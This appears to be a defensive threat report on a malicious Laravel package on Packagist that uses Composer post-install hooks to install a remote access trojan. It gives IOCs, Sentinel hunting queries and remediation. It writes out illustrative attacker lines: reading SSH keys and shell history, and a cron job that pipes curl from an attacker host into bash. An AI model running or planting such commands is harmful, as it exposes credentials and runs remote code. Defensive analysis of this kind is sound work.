Malicious Laravel Packages on Packagist Deploying Cross-Platform Remote Access Trojan
Executive Summary
A supply-chain attack was identified involving malicious PHP packages uploaded to the public PHP dependency repository used by Composer. The attacker published packages that appeared to be legitimate Laravel helper utilities but actually contained hidden code designed to deploy a cross-platform Remote Access Trojan (RAT).
Once a developer installed the package using Composer, the malicious code executed automatically through Composer’s script execution mechanism. The script downloaded and executed additional payloads from attacker-controlled infrastructure.
The malware targeted developer environments running Windows, macOS, and Linux systems. Because developers typically have access to source repositories, deployment keys, and cloud credentials, this type of compromise can expose critical infrastructure and intellectual property.
This incident represents a classic software supply chain attack, where attackers abuse trust in third-party dependencies rather than exploiting vulnerabilities in the application framework itself.
Background
Modern software development heavily relies on external packages. PHP developers commonly install libraries through Composer, which retrieves packages from Packagist. Laravel, being one of the most widely used PHP frameworks, has a very active ecosystem of community packages.
Developers frequently install additional tools to improve productivity or extend functionality. These include helper libraries, debugging utilities, and framework extensions.
Composer allows packages to define scripts that run during installation or updates. These scripts are often used for legitimate tasks such as publishing configuration files or generating application caches. However, the same feature can be abused to execute arbitrary code.
The attacker exploited this behavior by embedding malicious scripts in a package that looked like a harmless Laravel helper utility.
What Happened
A package uploaded to the dependency repository appeared to offer Laravel helper functionality. The package contained malicious code hidden inside Composer script hooks.
When developers installed the package, Composer automatically executed the script defined in the package configuration. Instead of performing legitimate tasks, the script downloaded additional malware from an external server.
The downloaded malware installed a Remote Access Trojan capable of controlling the infected machine remotely.
The attacker’s goal was likely to gain access to developer machines in order to collect credentials, source code, and infrastructure secrets.
Because development systems often contain sensitive data such as SSH keys, Git tokens, cloud credentials, and environment configuration files, compromising a developer workstation can lead to much larger breaches.
How the Attack Worked
The attack relied on abusing standard Composer functionality rather than exploiting a software vulnerability.
The process followed a multi-stage execution chain.
Stage 1 – Malicious Package Upload
The attacker created a package that appeared to provide Laravel helper functionality. The package name was designed to resemble legitimate developer utilities.
The malicious code was embedded inside the package configuration file and auxiliary scripts.
Stage 2 – Package Installation
A developer installs the package using Composer.
composer require nhattuanbl/lara-helper
Composer downloads the package and installs it in the project directory.
Stage 3 – Automatic Script Execution
Composer executes predefined scripts during installation.
These scripts are configured inside the package configuration.
Example of script execution configuration:
"scripts": {
"post-install-cmd": [
"php helper.php"
]
}
The malicious script executes automatically without requiring user interaction.
Stage 4 – Malware Loader Execution
The script acts as a loader that retrieves additional payloads from attacker infrastructure.
The loader performs several tasks:
- identifies the operating system
- retrieves a compatible payload
- saves the payload locally
- sets execution permissions
- executes the malware
Stage 5 – RAT Installation
The downloaded malware installs itself on the system and establishes communication with a command and control server.
The RAT allows attackers to execute commands remotely, retrieve files, and maintain persistence.
Initial Attack Vector
The initial compromise occurs when a developer installs the malicious package.
The attack does not rely on exploiting vulnerabilities in Laravel or Composer. Instead, it abuses trusted dependency installation mechanisms.
Because developers frequently install packages without inspecting their contents, attackers can easily distribute malicious code disguised as legitimate utilities.
This technique is particularly effective in automated build environments where dependencies are installed automatically by CI/CD pipelines.
Malware Capabilities
The deployed malware is a cross-platform Remote Access Trojan capable of operating on Windows, macOS, and Linux.
Its functionality includes:
Remote command execution
File system access
Credential harvesting
System reconnaissance
Persistence installation
Data exfiltration
Command and control communication
Once installed, the RAT collects information about the infected system and sends it to attacker infrastructure.
Collected information may include:
Operating system information
Hostname and user identity
Installed software
Network configuration
Environment variables
SSH keys and tokens
System Reconnaissance
The malware typically executes commands to gather system information.
Examples include:
whoami
hostname
uname -a
id
The malware may also examine shell history and configuration files.
cat ~/.bash_history
SSH key directories are commonly targeted.
cat ~/.ssh/id_rsa
These keys can allow attackers to access remote servers.
Credential Harvesting
Developer environments often contain valuable credentials.
The malware attempts to locate files that may contain secrets.
High value targets include:
SSH keys
Git credentials
API tokens
Cloud access keys
Environment configuration files
Particular attention is given to environment files used in Laravel applications.
.env
These files often contain database credentials, application secrets, and API keys.
Persistence Mechanisms
To maintain long-term access, the malware attempts to establish persistence depending on the operating system.
Linux Persistence
Persistence may be implemented using cron jobs.
Example behavior:
*/10 * * * * curl attacker-server/update.sh | bash
Malware files may be stored in hidden directories such as:
~/.config
~/.local/bin
~/.cache
macOS Persistence
On macOS systems, the malware may create launch agent configuration files.
Typical location:
~/Library/LaunchAgents/
These files allow the malware to run automatically when the user logs in.
Windows Persistence
On Windows systems, persistence may involve registry run keys.
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Malware binaries may be stored in user directories.
AppData\Roaming
AppData\Local
Command and Control Communication
After installation, the malware begins communicating with attacker infrastructure.
Communication is typically performed through HTTP or HTTPS requests.
The RAT periodically sends beacon signals containing system information and waits for commands from the attacker.
The command cycle typically follows this pattern:
- Beacon to command server
- Send system information
- Receive instructions
- Execute commands
- Send command output back
Beacon intervals may vary to reduce detection.
Potential Impact
The impact of this compromise can be severe due to the type of systems targeted.
Developer machines frequently contain sensitive information including:
Private source code repositories
Deployment automation credentials
Cloud infrastructure access keys
Database credentials
Production environment secrets
If attackers obtain these credentials, they may be able to access production environments or inject malicious code into software releases.
CI/CD pipelines are particularly sensitive targets because they often have automated access to production infrastructure.
Indicators of Compromise
The following indicators may suggest that a system has been compromised.
Suspicious Composer packages installed in projects.
Example:
nhattuanbl/lara-helper
Unexpected outbound network connections immediately after dependency installation.
Suspicious files appearing in temporary directories.
Examples:
/tmp/update
/tmp/cache
~/.local/bin/agent
Windows systems may show new files in:
AppData\Roaming
AppData\Local
Unexpected scheduled tasks or cron jobs.
Unusual processes running from user directories.
Examples:
helperd
system-agent
update-service
Log Sources for Investigation
Security teams should examine the following logs when investigating potential compromise.
Developer shell history
Composer logs
System event logs
Process execution logs
Network connection logs
Linux systems may provide evidence in:
/var/log/syslog
/var/log/auth.log
Windows systems may show suspicious process creation events in the event viewer.
Detection Strategy
Organizations should monitor developer endpoints for suspicious behavior related to dependency installation.
Key signals include:
Unexpected child processes spawned by Composer
Downloads triggered during dependency installation
Execution of binaries from temporary directories
Outbound network connections to unknown domains
Dependency auditing should also be performed regularly to identify suspicious packages.
Threat Hunting Guidance
Security teams should proactively hunt for indicators of malicious dependency activity.
Priority investigation targets include:
Developer workstations
Build servers
Continuous integration runners
Deployment automation systems
Threat hunting should focus on identifying unusual activity triggered during package installation.
Microsoft Sentinel Threat Hunting Queries
The following queries can help identify suspicious activity in Microsoft Sentinel environments.
Detect Composer spawning unusual processes
DeviceProcessEvents
| where ProcessCommandLine contains "composer"
| where InitiatingProcessFileName == "composer"
| where FileName !in ("php","git","bash")
| project Timestamp, DeviceName, FileName, ProcessCommandLine
Detect suspicious file downloads
DeviceProcessEvents
| where ProcessCommandLine contains "curl"
or ProcessCommandLine contains "wget"
| where ProcessCommandLine contains "http"
| project Timestamp, DeviceName, ProcessCommandLine
Detect execution from temporary directories
DeviceProcessEvents
| where FolderPath contains "/tmp"
or FolderPath contains "AppData"
| project Timestamp, DeviceName, FileName, FolderPath
Detect scheduled task creation
DeviceProcessEvents
| where ProcessCommandLine contains "schtasks"
| project Timestamp, DeviceName, ProcessCommandLine
Detect registry persistence
DeviceRegistryEvents
| where RegistryKey contains "CurrentVersion\\Run"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData
Detect outbound connections initiated by PHP
DeviceNetworkEvents
| where InitiatingProcessFileName contains "php"
or InitiatingProcessFileName contains "composer"
| project Timestamp, DeviceName, RemoteUrl
Detect access to SSH keys
DeviceFileEvents
| where FileName contains "id_rsa"
| project Timestamp, DeviceName, FolderPath, InitiatingProcessFileName
Detect access to environment files
DeviceFileEvents
| where FileName == ".env"
| project Timestamp, DeviceName, FolderPath, InitiatingProcessFileName
MITRE ATT&CK Techniques
This attack aligns with several known adversary techniques.
Initial Access
Supply Chain Compromise
Execution
Command and Scripting Interpreter
Persistence
Scheduled Task
Registry Run Keys
Startup Items
Credential Access
Unsecured Credentials
Command and Control
Application Layer Protocol
Exfiltration
Exfiltration Over Command Channel
Containment and Response
If malicious packages are discovered in an environment, immediate containment actions should be taken.
Remove the malicious dependency.
composer remove nhattuanbl/lara-helper
Revoke and regenerate credentials stored on affected systems.
Credentials to rotate include:
SSH keys
Git tokens
API keys
Cloud provider credentials
Affected systems should be reimaged or rebuilt to ensure malware removal.
Prevention Measures
Organizations can reduce the risk of similar attacks by implementing stronger dependency security practices.
Recommended measures include:
Dependency allow-listing
Package reputation verification
Automated dependency scanning
Restricting script execution during installation
Monitoring developer endpoints for suspicious activity
Developers should review package source code before installing dependencies.
Continuous monitoring of dependency ecosystems is also important, as attackers frequently upload malicious packages that mimic legitimate tools.
Key Takeaway
This incident highlights the increasing risk posed by software supply chain attacks. Attackers no longer need to exploit vulnerabilities in applications if they can distribute malicious code through trusted dependency ecosystems.
By targeting developer tools and package repositories, attackers can compromise systems at the earliest stages of the software development lifecycle.
Organizations must treat third-party dependencies as untrusted code and apply appropriate security controls to detect and prevent malicious packages from entering their development environments.
